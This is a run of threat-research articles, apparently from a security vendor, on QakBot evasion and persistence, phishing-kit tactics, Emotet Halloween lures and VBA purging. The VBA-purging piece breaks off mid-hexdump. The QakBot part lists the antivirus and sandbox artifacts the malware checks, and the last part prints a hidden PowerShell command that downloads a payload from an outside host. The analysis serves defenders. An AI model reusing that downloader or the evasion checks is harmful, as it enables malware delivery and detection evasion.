Summary

QakBot has been updated with more evasion techniques. QakBot’s configuration is now stored in a registry key instead of a file. The run key for persistence is not permanently present in the registry but only written right before shutdown or reboot, and deleted immediately after QakBot is executed again. QakBot’s executable is also not stored permanently on the file system anymore, but similarly to the run key registry entry, dropped onto the file system before reboots and deleted afterwards. This way security software can only detect QakBot artifacts on disk, right before system shutdown, and shortly after system boot. However, at that time security software itself is shutting down and booting up, hence may not detect QakBot’s new persistence method.

Other changes include dynamic just-in-time decoding and destruction of strings at runtime. So any string used in the malware is only decoded at runtime into memory only and destroyed right afterwards.

The delivery method for the observed QakBot campaigns identified via the regular expression pattern of abc[0-9]+ is still XLM macro documents as reported previously.

Background

QakBot (also known as QBot, QuakBot, Pinkslipbot) has been around since 2008. It is distributed via Emotet, i.e., Emotet will download QakBot onto victims that are already infected with Emotet but it is also distributed directly via email. To this end, it uses email conversation thread hijacking in its campaigns¹, i.e., it will reply to emails that it finds in its victim’s mailboxes. QakBot is known to escalate intrusions by downloading the ProLock ransomware² or lately the Egregor ransomware.

The observed QakBot campaigns identified by campaign ID abc use XLM macro documents for infection. We previously reported on their low detection.³

An overview of the current chain of infection used by the QakBot campaign with identifiers following the regular expression pattern of abc[0-9]+ can be seen in the following flow graph.

Technical Analysis

In the following analysis we briefly analyze the infection chain of QakBot after being downloaded and launched by the malicious Excel document.

Evasion

QakBot uses various evasion techniques to avoid detection by anti-virus software.

PE header manipulation

We observed some QakBot DLLs with a manipulated PE header. The message text This program cannot be run in DOS mode. has been altered.

This seems like an attempt to circumvent some static detection rules matching for this message in the legacy MS-DOS stub of PE binaries.

Code signing

First, the initial downloaded and executed DLL is signed with a (at the time the analyzed sample was distributed) valid code signing certificate.

$ chktrust 904400.jpg
Mono CheckTrust - version 6.8.0.123
Verify if an PE executable has a valid Authenticode(tm) signature
Copyright 2002, 2003 Motus Technologies. Copyright 2004-2008 Novell. BSD licensed.

WARNING! 904400.jpg is not timestamped!
SUCCESS: 904400.jpg signature is valid
and can be traced back to a trusted root!

The signing CA is Sectigo and the organization is given as Aqua Direct s.r.o., which is an existing company.

$ osslsigncode verify 904400.jpg 
Current PE checksum   : 00091021
Calculated PE checksum: 00091021

Message digest algorithm  : SHA1
Current message digest    : 632DCB214EE9FB08441C640D240F672A7ABA6EB1
Calculated message digest : 632DCB214EE9FB08441C640D240F672A7ABA6EB1

Signature verification: ok

Number of signers: 1
    Signer #0:
        Subject: /C=CZ/postalCode=619 00/L=Brno/street=\xC5\xBDelezn\xC3\xA1 646/8/O=Aqua Direct s.r.o./CN=Aqua Direct s.r.o.
        Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=Sectigo Limited/CN=Sectigo RSA Code Signing CA

Number of certificates: 4
    Cert #0:
        Subject: /C=CZ/postalCode=619 00/L=Brno/street=\xC5\xBDelezn\xC3\xA1 646/8/O=Aqua Direct s.r.o./CN=Aqua Direct s.r.o.
        Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=Sectigo Limited/CN=Sectigo RSA Code Signing CA
    Cert #1:
        Subject: /C=GB/ST=Greater Manchester/L=Salford/O=Comodo CA Limited/CN=AAA Certificate Services
        Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=Comodo CA Limited/CN=AAA Certificate Services
    Cert #2:
        Subject: /C=US/ST=New Jersey/L=Jersey City/O=The USERTRUST Network/CN=USERTrust RSA Certification Authority
        Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=Comodo CA Limited/CN=AAA Certificate Services
    Cert #3:
        Subject: /C=GB/ST=Greater Manchester/L=Salford/O=Sectigo Limited/CN=Sectigo RSA Code Signing CA
        Issuer : /C=US/ST=New Jersey/L=Jersey City/O=The USERTRUST Network/CN=USERTrust RSA Certification Authority

Succeeded

It is unknown whether the certificate was obtained from Sectigo by giving false information, the certificate was stolen from Aqua Direct s.r.o., or whether the certificate was obtained from Sectigo by giving stolen information from Aqua Direct s.r.o..

QakBot is known to steal victim emails and use them in future malspam campaigns. So it is likely that they also use stolen victim data to obtain code signing certificates. However, the actors behind QakBot can also buy the code signing certificate from a (malicious) third party.

Strings only decoded at runtime

QakBot will decode its strings only at runtime into memory. After usage the decoded strings are removed from memory again.

Processes

QakBot uses CreateToolhelp32Snapshot and Process32{First,Next}W to enumerate the running processes.

It checks for the following processes:

• CcSvcHst.exe
• avgcsrvx.exe
• avgsvcx.exe
• avgcsrva.exe
• MsMpEng.exe
• mcshield.exe
• avp.exe
• kavtray.exe
• egui.exe
• ekrn.exe
• bdagent.exe
• vsserv.exe
• vsservppl.exe
• AvastSvc.exe
• coreServiceShell.exe
• PccNTMon.exe
• NTRTScan.exe
• SAVAdminService.exe
• SavService.exe
• fshoster32.exe
• WRSA.exe
• vkise.exe
• iserv.exe
• cmdagent.exe
• ByteFence.exe
• MBAMService.exe
• mbamgui.exe
• fmon.exe

QakBot will set specific bits in a bit mask for each running process it finds. Depending on the resulting bit mask the further infection path is altered, e.g., if avp.exe has been encountered. QakBot will later inject its code into mobsync.exe instead of explorer.exe. Because the searched process names are related to security solutions, we believe that this way QakBot tailors its execution path to evade detection by specific vendors.

Then in another loop, again using CreateToolhelp32Snapshot and Process32{First,Next}W, it checks for:

• srvpost.exe
• frida-winjector-helper-32.exe
• frida-winjector-helper-64.exe

If it detects any of those processes the execution flow will run into a loop continuously calling WaitForSingleObject(handle, 0x1fa) on a handle previously generated via CreateEvent(NULL, FALSE, FALSE, ...), i.e., it runs in an infinite loop.

Device drivers

Next, QakBot uses SetupDiGetDeviceRegistryPropertyA (querying properties SPDRP_DEVICEDESC and SPDRP_SERVICE) to check for device drivers containing the following strings:

• VBoxVideo
• Red Hat VirtIO
• QEMU
• A3E64E55_pr

We believe the search for A3E64E55_pr is used to detect an artifact of the ANY.RUN sandbox.⁴ Alternatively, but unlikely, it could be used to detect an artifact of the long ago defunct xCore Complex Protection AV solution using a similar driver with the name A3E64E55_pr.sys.

If it detects any of those device drivers the execution flow will run into the same infinite loop continuously calling WaitForSingleObject(handle, 0x1fa) on a handle previously generated via CreateEvent(NULL, FALSE, FALSE, ...), as previously mentioned.

Process injection

QakBot starts C:\Windows\SysWOW64\explorer.exe in suspended state and injects a DLL into it using CreateProcessInternalW, NtMapViewOfSection, NtAllocateVirtualMemory, WriteProcessMemory, memcpy, NtProtectVirtualMemory and NtResumeThread.

The injected DLL can be extracted via PE-sieve⁵ or other tools for simplyfied further analysis.

Depending on whether the previous process enumeration yielded results on the list, QakBot will inject into mobsync.exe (e.g., in case a avp.exe process is found running) instead of explorer.exe. But for simplicity we will only follow the explorer.exe process injection path we observed in our analysis environment.

C2 communication

After avoiding detection, the injected QakBot code within explorer.exe will start communicating with the C2 servers.

Like in previous versions of QakBot the C2 IP list is stored RC4 encrypted in resource section 311. The first 20 bytes of the section contains the RC4 key with which the rest of the section is decrypted. The first 20 bytes of the decrypted data will contain the SHA1 sum calculated over the rest of the decrypted data. It is used as a verification for correct decryption. Unlike in previous version, the C2 list is now stored in binary form and not as ASCII text anymore.

For details on how to extract the C2 list and QakBot’s configuration see the Python3 script in the appendix. The input to the script is the path to the DLL that QakBot injected into explorer.exe, which we previously extracted via PE-sieve⁵.

The configuration is stored using the same RC4 encryption scheme in resource section 308. In it we can see the bot and/or campaign ID abc103 that is associated with the analyzed sample. It is still stored in plain ACSII text. For each campaign the number is increased by one. This allows the operators behind QakBot to keep track to which campaign each victim connecting to their C2 server belongs to. Another currently observed identifier is tr02. This identifier, however, stayed the same over multiple malspam campaigns.

Via the C2 connection the operators behind QakBot can remote control the malware and deploy additional malicious modules.

QakBot will not store its configuration and C2 list on disk anymore. It will use the registry for storage.

Wiping

The previous QakBot version used to overwrite its initial executable with a copy of cmd.exe. This version will overwrite the portion of the initially downloaded DLL after the PE header with zeros.

Here is the entropy of the QakBot DLL as downloaded.

The zeroing of data after the header can be clearly seen when comparing the previous plot against a plot of the DLL file after wiping.

Persistence

The persistence mechanism of QakBot has also changed. While it still uses a run key registry entry under HKCU\Software\Microsoft\Windows\CurrentVersion\Run, this key is only set right before the system is shutdown, rebooted or put to sleep. The corresponding DLL is also only dropped to disk right before shutdown, rebooted or sleep.

After the system boots up again, QakBot is started via the run key. The execution tree also starts via regsvr32.exe -s ... like the initial execution from Excel. QakBot follows the same steps as previously outlined resulting in process injection into explorer.exe.

QakBot will then delete the run key registry entry and delete the DLL it dropped to disk prior to the reboot.

This way QakBot’s persistence can not be detected at runtime.

Egregor

While we have previously reported on QakBot deliverying the ProLock ransomware,² latests reports indicated that QakBot is now used to deliver the Egregor ransomware. We previously reported on the Egregor ransomware as part of an article on ransomware leaksites⁶ in which we explain the practice of ransomware operators stealing their victims data before encrypting it to extort them not only with decryption but also public release of the stolen data.

Conclusion and Countermeasures

From our analysis we can conclude that QakBot is trying to avoid persistent file artifacts. In previous version the configuration and QakBot executable were permanently stored on disk. This made it easy for security tools to detect them. The new version tries to avoid permanently leaving its artifacts on disk. While QakBot is not going fully fileless, it new tactics will sure lower its detection.

But even though QakBot has changed, the delivery mechanism behind the QakBot “abc[A-Z]+” campaign did not. Hence, an infection by this threat actor can be successfully prevented by blocking the initial emails.

Hornetsecurity’s Spam Filter and Malware Protection, with the highest detection rates on the market, already detects and blocks the outlined threat. Hornetsecurity’s Advanced Threat Protection extends this protection by also detecting yet unknown threats.

References

• ¹ https://www.hornetsecurity.com/en/security-information/email-conversation-thread-hijacking/
• ² https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/
• ³ https://www.hornetsecurity.com/en/threat-research/qakbot-distributed-by-xlsb-files/
• ⁴ https://app.any.run/tasks/2d4eb3c8-6670-4c25-a96b-0cd46c3b6d7c/
• ⁵ https://github.com/hasherezade/pe-sieve
• ⁶ https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

Indicators of Compromise (IOCs)

Hashes

The hashes of the analyzed QakBot samples are:

MD5	Filename	Description
6bc0584f6cbb74714add1718b0322655	904400.jpg	QakBot DLL as downloaded by XLM macro
e23bc27212f61520cfb130185d74cfb1	26e0000.dll	Extracted QakBot DLL

MITRE ATT&CK

The tactics and techniques used by QakBot as defined by the MITRE ATT&CK framework are as follows:

Tactic	Technique
TA0001 – Initial Access	T1566.001 – Phishing: Spearphishing Attachment
TA0001 – Initial Access	T1566.002 – Phishing: Spearphishing Link
TA0002 – Execution	T1027 – Obfuscated Files or Information
TA0002 – Execution	T1204.002 – User Execution: Malicious File
TA0003 – Persistence	T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
TA0004 – Privilege Escalation	T1053.005 – Scheduled Task/Job: Scheduled Task
TA0005 – Defense Evasion	T1027.002 – Obfuscated Files or Information: Software Packing
TA0005 – Defense Evasion	T1055 – Process Injection
TA0005 – Defense Evasion	T1055.012 – Process Injection: Process Hollowing
TA0005 – Defense Evasion	T1070 – Indicator Removal on Host
TA0005 – Defense Evasion	T1497.001 – Virtualization/Sandbox Evasion: System Checks
TA0006 – Credential Access	T1003 – OS Credential Dumping
TA0006 – Credential Access	T1110.001 – Brute Force: Password Guessing
TA0006 – Credential Access	T1555.003 – Credentials from Password Stores: Credentials from Web Browsers
TA0011 – Command and Control	T1071.001 – Application Layer Protocol: Web Protocols
TA0011 – Command and Control	T1090 – Proxy
TA0011 – Command and Control	T1090.002 – Proxy: External Proxy

Appendix

Qakbot configuration extraction Python3 script

import sys
import pefile
from arc4 import ARC4

pe = pefile.PE(sys.argv[1])
c2list = []
for entry in pe.DIRECTORY_ENTRY_RESOURCE.entries:
    for e in entry.directory.entries:
        n = e.name.string.decode()
        data = pe.get_data(e.directory.entries[0].data.struct.OffsetToData, e.directory.entries[0].data.struct.Size)
        data = ARC4(data[:20]).decrypt(data[20:])[20:]
        if n == '311':
            for i in range(1,len(data),7):
                c2 = list(data[i:i+6])
                c2list.append("%d.%d.%d.%d:%d" % (c2[0],c2[1],c2[2],c2[3],(c2[4]<<8)+c2[5]))
        elif n == '308':
            config = data.decode().split()
print("# QakBot Config\n\n```\n" + "\n".join(config) + "\n```\n")
print("# QakBot C2\n\n```\n" + "\n".join(c2list) + "\n```\n")

Summary

The basic idea behind phishing has not changed since the 90s, however, the delivery tactics and techniques are constantly evolving. In this article we outline current trends in phishing techniques. These include abuse of legitimate file hosting services, geo-fencing, automatically loading the victims company and/or email provider logo on the phishing website and asking the victim for the password multiple times.

These tactics are aimed at evading detection and luring more victims into entering their login credentials into the phishing websites.

Background

Malicious actors use phishing emails to gain access to a victim’s login credentials by tricking the victim into voluntarily entering their password on a fake login form. The fake login is delivered via a phishing website. The phishing emails include the link to the phishing website.

Phishing as an attack technique is known since the 1980s. The name originates from a computer intrusion tool called AOHell, which included a “fisher” tool, that would spam AOL Instant Messaging users with the following message:

Hi, this is AOL Customer Service. We’re running a security check and need to verify your account. Please enter your username and password to continue.

The spelling of “phishing” with “ph” instead of “f” comes from an intentional misspelling used in 60s to 70s technology subculture slang. It originated from the term “phreak”, meaning a “phone freak”, which at the time was a hacking subculture slang term for people exploring and experimenting with early telephone networks. Thus the term phishing as we know it today was formed.

The essence of phishing has not changed much from the AOHell tool. Potential victims are contacted, under different pretexts to divulge their login credentials. However, the tactics and techniques with which the phishing emails are delivered have evolved. Hornetsecurity explains the current tactics and techniques used by current phishing attacks.

Analysis of current phishing technique trends

Most phishing emails contain a link to a phishing website featuring a fake login form. Though, a few exceptions exist, e.g., we previously reported on a phishing scheme that send the entire HTML source code of the phishing website attached to the phishing email¹.

The emails use various different lures to get the victim to visit the link, e.g., by pretending a file can be downloaded via the link, as can be seen in the following example phishing email:

By visiting the link the potential victim is send to the phishing website.

In the following we will outline tactics and techniques that current phishing attacks use to evade detection and lure even cautious victims into their scam.

Abuse of legitimate file hosting services

Phishers host parts of their phishing kit on legitimate file hosting services to evade detection systems and to build trust with their victims. This way the link in the email will feature a domain name from a known legitimate service, trusted by millions of people.

The following example shows a phishing kit hosted on Google’s Firebase platform:

Abuse of file hosting services, such as Google Docs, Google Drive, Microsoft SharePoint and others, is nothing new. We previously reported about malspam misusing file hosting services to spread malware.² However, the number of phishing attacks relying on cloud storage providers has increased significantly.

The problem for potential victims is that some of these file hosting services sometimes do legitimately ask visitors to sign in to see the content. This means a potential victim is lured onto a website that they know will sometimes ask them to login, requiring high alertness to not fall for phishing scams using this tactic.

Because legitimate file hosting services are used by a lot of people for legitimate purposes their domains and URLs generally have a good reputation. This makes it hard to distinguish between emails containing legitimate file hosting service links or malicious ones.

Furthermore, some file hosting services use CAPTCHAs to prevent automatic retrieval of the hosted content, meaning automated security mechanisms can not scan the hosted content for malicious artifacts.

Ironically, we also sometimes find phishing for a particular vendor being hosted by that very same vendors infrastructure, e.g., the following phishing site impersonating Microsoft was hosted on Microsoft’s Azure platform:

Access to the account needed to use these legitimate file hosting services is often obtain via the phishing activity itself, thus, creating a self-sustaining phishing machinery.

Redirection

In order to complicate analysis, malware actors often use multiple intermediate websites that redirect their victims to the final website controlled by the attackers. This way simply blocking the final phishing website is not enough, because in emails only the first redirect URL is visible. If attackers can manage to prevent automated scanning systems from following the redirects, e.g., combining this technique with geo-fencing or a CAPTCHA, then these automated systems will not detect that a victim will be redirected to a phishing site. We have observed this technique used by TA505,³ and other threat actors for malware distribution.

In case of phishing emails, the redirects can be documents hosted on file hosting services, which provide the victim with another link to the final phishing page. The phishing page is then often pretending that the user must provide their login credentials to view the document they just clicked. This is a plausible lure, because after all the victim did click a link to view a document and it is common for fie hosting services to ask the user to login in order to access files.

This way the only observable URL in the phishing emails are the intermediate redirects.

The following example is a phishing redirection document hosted on OneDrive:

When the victim clicks on the allegedly linked document they are redirected to a phishing page impersonating the Microsoft SSO login page:

Geo-fencing

Another technique to hinder analysis of the phishing websites is geo-fencing. To this end, the phishing website, or sometimes a simple upstream website redirecting the victim to a specific destination, will check the visitor’s IP address. Based on these checks victims whose IP address geo-locations are in the list of countries targeted by the specific phishing scam will get to see the phishing website, other requests are usually being forwarded to a benign website.

The following is an example of a phishing scam against Raiffeisen ELBA, an Austrian bank:

This phishing site is only available to visitors using an IP address geo-located in Austria. Any visitors from other countries are redirected to the legitimate Raiffeisen ELBA website. Hence, geo-fencing complicates automated analysis.

Adaptive lure logo

Some phishing websites do not impersonate a specific company or service. They rather adapt to the victim’s expectations. To this end, they will dynamically add company and/or service logos to their login form based on the victim’s email address.

For example, if John Doe receives a phishing email in his mailbox test@example.com, the URL in the phishing email will contain this email address as an HTTP GET parameter. When visiting the phishing website via this link, the email address is automatically sent to the phishing kit via this GET parameter. The phishing website will then not only pre-fill the login form’s email field with this email address, but also obtain the favicon of the email address’ domain name using the following link provided by Google:

https://www.google.com/s2/favicons?domain=example.com

The favicon is then displayed above the fake login form as follows:

Because most domains also host websites with a favicon, this technique works against virtually all email domain names.

For example, it works against popular freemail providers:

But it will also work against company domain names, as can be seen here, using our own domain name:

We also observed phishing kits that screenshot the website behind the victim’s email domain and display it as background image behind the fake login form:

All these techniques help the attackers to make their phishing site appear more familiar to the victims.

Asking for the password multiple times

Modern phishing kits will ask the victim for the password multiple times. While this is nothing new and we have previously reported on this technique,¹ we observe more and more phishing kits using this technique.

This technique is likely to workaround a protection scheme that some users have come up with to protect against phishing. Some users believe that phishing websites will always accept any password. Hence, you can spot a phishing website by entering a wrong password. A phishing website will accept the wrong password, while the legitimate site will reject it as incorrect. This assumption is, however, wrong.

The following shows a phishing kit asking the victim for the password three times:

It does not matter what the victim enters, the entry is always rejected three times. Afterwards the victim is redirected to the website running on the domain name used in the email address. This is a good segue into the next tactic.

Transition to original website

Every good heist needs a good getaway. So does a good phishing kit. Ideally, after entering their login credentials the victims should not notice that they got phished and thus not change their login credentials. To this end, phishing kits usually redirect to the legitimate website they are faking. So in case the user was already logged in, they will assume they just logged in successfully. Another tactic is to redirect to a fake non-malicious document. The victim will then think they got the email by accident and it was not directed at them.

Self-sustaining phishing machinery

Last but not least, we observed several phishing campaigns that are self-sustaining. To this end, stolen login credentials will be used to send phishing emails from the victim’s account. We also observed stolen credentials being used to compromise Sharepoint accounts to host phishing infrastructure on them. While not directly observable, we are certain that stolen credentials are also used to place phishing infrastructure on legitimate file hosting services, using phishing victims’ accounts.

The time between account compromise and usage of the accounts was sometimes as short as several hours. However, most commonly stolen login credentials are usually used on the next phishing campaign. Hence, it is very important for victims, or even just potential victims, to quickly change their passwords if they have any suspicion that they may have entered their login credentials on a phishing site. This is because, while we observed some of the stolen credentials were used to perpetuate the phishing scam, other login credentials are likely used in further intrusions, such as ransomware attacks.

Conclusion and Countermeasure

While the basic idea behind phishing has not changed since the 90s, the tactics and techniques are constantly evolving. From the outlined techniques we can recommend the following countermeasures:

Users should not automatically trust known legitimate file hosting services, such as Google Docs, Microsoft SharePoint, OneDrive, etc., because they are abused to host malicious phishing infrastructure. Users should use password managers that only fill-in their login credentials on the appropriate login forms. To this end, password managers will usually check the domain name and thus prevent filling-in login credentials on logins forms hosted on impostor websites. But most importantly, users should activate 2FA wherever possible. We have seen phishing attacks featuring QR codes for 2FA banking apps. This means phishing actors are aware of 2FA and will try to obtain the 2FA codes where necessary and possible. Hence, a second factor with that can not be phished, like a U2F token, is preferred.

Last but not least, Hornetsecurity’s Spam Protection and Malware Protection filters and Hornetsecurity’s Advanced Threat Protection are also constantly improving to keep up with the lastest threats.

References

• ¹ https://www.hornetsecurity.com/en/security-information/html-phishing-asking-for-the-password-twice/
• ² https://www.hornetsecurity.com/en/security-information/firefox-send-sends-ursnif-malware/
• ³ https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/

Summary

Threat actors often try to bandwagon on current events to trick their victims into falling for their lures. To this end, Emotet also this year sending fake Halloween party invitations to potential victims. While the basic concept behind the fake Halloween party invitations this year is the same as last year, the variety in email texts has increased.

Analysis

At around 2020-10-29 12:30 UTC Hornetsecurity’s email filters registered the first Emotet malspam emails containing Halloween party invitation themed lures. The event lasted for around 3 hours and accounted for around 50 % of Emotet malspam, as can be seen from the following time histogram stacking Emotet malspam emails by subject:

Unlike the Emotet Halloween party invitations of 2019, which varied only in the subject lines and attachment names, this years emails provide different email body text templates as well.

In 2019 only the following email text could be observed:

The Emotet malware itself has not changed. Hornetsecurity already reported on Emotet extensively.^1,2,3,4

Conclusion and Countermeasure

It seems that Emotet’s fake Halloween party invitations are now a yearly thing that email uses need to watch out for.

Emotet’s malicious attachments are caught by Hornetsecurity’s Spam Filtering and Malware Protection. Hence, Hornetsecurity customer’s Halloween is not ruined by falling for Emotet’s fake Halloween party invitations.

References

• ¹ https://www.hornetsecurity.com/en/security-information/awaiting-the-inevitable-return-of-emotet/
• ² https://www.hornetsecurity.com/en/security-information/emotet-is-back/
• ³ https://www.hornetsecurity.com/en/security-information/webshells-powering-emotet/
• ⁴ https://www.hornetsecurity.com/en/security-information/emotet-update-increases-downloads/

Indicators of Compromise (IOCs)

Email subject lines

• Inviting friends to your Halloween Extravaganza
• Party tonight
• Happy Halloween
• Halloween party
• Halloween Pot Luck 10.31
• Party invitation
• Halloween invitation
• Halloween
• Halloween party invitation
• Halloween Party

Summary

VBA purging is a recent office macro detection evasion technique. It removes the VBA macro PerformanceCache from malicious documents. While the VBA macro source code is only stored in compressed form in Office documents, this PerformanceCache caches the decompressed VBA source code in uncompressed plain text form. Because many security scanning solutions rely on this uncompressed plain text VBA macro source code to be present in order to detect malicious VBA macro code, their detection can be evaded by VBA purging.

This article details a recent spam campaign with malicious office attachments using VBA purging, how the detection evasion works and how Hornetsecurity protects against VBA purging. Evaluating the data of the observed campaign indicates that the campaign was not targeted towards a specific geographic region nor a specific industry sector.

Background

Recently, Hornetsecurity has observed malspam delivering Formbook¹ and AgentTesla² via malicious office attachments using VBA purging.

VBA purging is a technique first described by Didier Stevens³. VBA macros are stored in module streams⁴ of CFBF⁵ files. A stream storing VBA code has two parts, the PerformanceCache and CompressedSourceCode:

The CompressedSourceCode contains the VBA code in compressed form. While not specified in the official documentation, the PerformanceCache generally contains the VBA code in compiled form (P-code) and the uncompressed plain text VBA code.

VBA purging deletes the PerformanceCache by setting its size to 0. Then the VBA code will only be present in compressed form. Because many detection tools rely on the uncompressed plain text VBA code copy in the PerformanceCache, their detection can be evaded. One detection tool affected is ClamAV a popular open source anti-virus scanner often used on email gateways.

This is interesting for multiple reasons. First, Formbook and AgentTesla are very common malware that can be obtained and operated easily. For example, in 2017 Formbook could be rented for US$ 29 per week, US$ 59 per month, or US$ 99 for three months and US$ 299 for buying it⁶, while AgentTesla is spread so far that tutorial videos for it exist on YouTube.

This low barrier of entry means that this type of malware is usually send via less sophisticated methods, such as ZIP’ing malware executable and attaching it directly to spam emails, or using publicly available exploits for old vulnerabilities (CVE-2017-0199, CVE-2017-8570, CVE-2017-8759, CVE-2018-8174). In case malicious VBA macros are used the code is usually not very advanced and technically far away from the skill level needed for VBA purging.

However, since September 2020 Hornetsecurity has observed multiple Formbook and AgentTesla malspam campaigns using VBA purging. While the observed malspam is similar to a previous VBA purging campaign observed in the wild by Didier Stevens⁷ the hereafter reported malicious documents are not in the OOXML format and can, hence, not have been created by EPPlus. The hereafter reported documents have the OLE/CFB format.

Technical Analysis

In September we identified malicious documents using similar VBA code as described in the VBA purging article by Didier Stevens⁷. The main similarity being the call to a Loader sub routine with an either Hex or Base64 encoded string containing the download URL:

Loader"68 74 74 70 ..."

However, the main difference is that the herein observed malicious documents are not in the OOXML format as the documents outlined by Didier Stevens.

In the following technical analysis we analyze one malspam activity we think originates from the same threat actor that Didier Stevens called Epic Manchego. The following time histogram shows the volume and attachment filenames of the observed activity for the last couple of days:

Targeting

Looking at the targeted recipients by country does not indicate a specific bias towards a specific geographic region:

Looking at the targeted recipients by industry does not indicate a specific bias towards a specific industry:

The emails are send from (we assume) compromised legitimate company email domains. Each wave of attachments is send from one email address. But also the companies behind the sending email domains have no clear bias towards a specific industry. We observed senders from the following industries:

VBA macro code

The core of the malicious documents is a PowerShell downloader that downloads a malware executable. While in the beginning, the threat actor continued to use the Loader sub routine:

A deobfuscated version of the above VBA code is as follows:

In later variants the actor also mangled the name of the Loader sub routine:

But deobfuscated the VBA code is still virtually the same:

Some of the Excel documents place the Base64 encoded strings into a cell of the spreadsheet and extract it from within the VBA code:

To hide the cell content from a user opening the document the A cell’s width is set to 0 pixels and the font color is set to white:

VBA purging

As outlined earlier, VBA purging is when the PerfomanceCache of a VBA macro document is deleted. You can use Didier Stevens’ oledump.py tool to analyze the size of the streams, including the size of the PerfomanceCache. In the following, we see highlighted in red that the PerfomanceCache size of the VBA macro module streams is 0, meaning the PerfomanceCache was purged:

We currently do not know how these documents were created. The VBA purging documents outlined in the article by Didier Stevens⁷ were allegedly created with EPPlus. However, EPPlus can only create documents in the OOXML format.

In one of the maldocs we found a reference to Aviary for Android 4.8.4, a photo editing app for Android. It could be possible that these documents were generated or converted by an Android app which performs VBA purging. Here it is important to note that VBA purging in itself is not malicious. It saves disk storage by deleting a cache, which can be recreated from the CompressedSourceCode data. So there likely exist office software that performs VBA purging as part of optimizing office document file sizes.

Why is this dangerous?

Many email gateways use ClamAV as anti-virus scanner. When ClamAV scans an office document, it extracts the individual sub-files of the document. It does so for both modern OOXML documents (which are basically ZIP files) and OLE/CFB documents (which also feature a file system structure inside⁵). In this process it also extracts the module stream files we mentioned earlier.

It then searches the extracted files using byte patterns, e.g., to detect a malicious Emotet document variant they use the following signature:

Doc.Malware.Emotet-9769220-0;Engine:51-255,Target:2;0&1&2;4174747269627574652056425f4e616d65203d2022413179397a677337686679357a;446f63756d656e745f6f70656e;565f3837317874326e6f656a682e4d3333737137636d686574

For better understanding we convert the search patterns into a more readable YARA rule:

rule Doc_Malware_Emotet_9769220_0 {
    strings:
        $a0 = "Attribute VB_Name = \"A1y9zgs7hfy5z"
        $a1 = "Document_open"
        $a2 = "V_871xt2noejh.M33sq7cmhet"
    condition:
        $a0 and $a1 and $a2
}

From this we see that the rule matches on plain text VBA code (the attribute VB_Name that is automatically added by Office at the beginning of the macro, the sub routing name Document_open that instructs office to run this sub routine when the document is opened and a code snipped using two obfuscated variables V_871xt2noejh and M33sq7cmhet).

In a VBA purged document there (highly likely) is no Attribute VB_Name string (nor any of the other strings) in plain text, because only the CompressedSourceCode using a proprietary compression is available. Compression algorithms work by storing repeating patterns in a data stream more efficiently, e.g., the following attributes at the start of VBA code all contain repeating patterns:

Attribute VB_Name = "Lhc713a6y33gome"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
[...]

So in compressed form Attribute would only be stored in plain text form once and all further occurrences of it are replaced with a shorter reference, so the previous VBA code snippet would turn into something like:

0001b0d0  41 74 74 72 69 62 75 74  00 65 20 56 42 5f 4e 61  |Attribut.e VB_Na|
0001b0e0  6d 00 65 20 3d 20 22 4c  68 63 00 37 31 33 61 36  |m.e = "Lhc.713a6|
0001b0f0  79 33 33 80 67 6f 6d 65  22 0d 0a 0a 98 08 42 61  |y33.gome".....Ba|
0001b100  73 02 98 31 4e 6f 72 00  6d 61 6c 2e 54 68 69 73  |s..1Nor.mal.This|
0001b110  00 44 6f 63 75 6d 65 6e  74 81 0d 56 47 6c 6f 62  |.Document..VGlob|
0001b120  61 6c 01 b0 10 53 70 61  63 01 6c 46 61 6c 04 73  |al...Spac.lFal.s|
0001b130  65 0c a2 43 72 65 61 74  08 61 62 6c 15 1f 50 72  |e..Creat.abl..Pr|

Hence any rule matching on Attribute (or any other string) would not match anymore as the string is split up, in this example, into Attribut, e VB_Nam, etc., substrings, that are then referenced again later in the data stream in order to save storage space, as storing the reference is smaller than the original repeated string.

Hence, if the document for which the above ClamAV rule matches would have its PerformanceCache removed ClamAV would not detect it anymore. This also affects other security tools relying on plain text VBA code in the PerformanceCache for their detection of malicious content.

While VBA purging is not widely used, we predict that is only a matter of time before this technique catches on and is misused in more sophisticated attacks. This means ClamAV or similar working solutions can not provide adequate protection anymore.

Seeing which vendors likely detect these VBA purged maldocs only by hash

We used VirusTotal to estimate how much the static detection capabilities of current anti-virus solutions is affected by VBA purging. To this end, we used a document that after around 7 hours is detected by 21 of 61 listed anti-virus solutions:

To check which anti-virus solution detects this document only by its hash, we appended a single X ASCII character byte to the file:

$ sha256sum test.xls 
038e0a602ddf37976cde6f57007fcf5c3f5f235cc025637b40303db38c3b4ec2  test.xls
$ echo -n 'X' >> test.xls
$ sha256sum test.xls
1c4d151611fb2866b2b0ed9c33f9e063fa77708e2c4a725d025cee5e96c14a41  test.xls

After this change 7 of the initial 21 anti-virus solutions do not detect the document anymore:

This indicates that these solutions do not detect the VBA purged document by its malicious VBA macro code, but only by its hash. A robust detection would not get tricked by appending a single byte, especially because the document structure was not changed at all.

This drop is especially astonishing as the tested document stored the powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass ... string in plain text inside a cell of the spreadsheet. Meaning the string is stored in pain text inside the document:

$ hexdump -C RFQ-752101222GPTR7\ -\ CEYLON\ STEEL\ CORPORATION\ LIMITED.xls
[...]
00007e20  00 00 00 02 00 00 00 f7  00 00 70 6f 77 65 72 73  |..........powers|
00007e30  68 65 6c 6c 2e 65 78 65  20 2d 57 69 6e 64 6f 77  |hell.exe -Window|
00007e40  53 74 79 6c 65 20 48 69  64 64 65 6e 20 2d 45 78  |Style Hidden -Ex|
00007e50  65 63 75 74 69 6f 6e 50  6f 6c 69 63 79 20 42 79  |ecutionPolicy By|
00007e60  70 61 73 73 20 20 2d 63  6f 6d 6d 61 6e 64 20 22  |pass  -command "|
00007e70  20 26 20 7b 20 69 77 72  20 68 74 74 70 73 3a 2f  | & { iwr https:/|
00007e80  2f 61 69 6d 73 6d 6f 74  69 6f 6e 2e 63 6f 6d 2e  |/aimsmotion.com.|
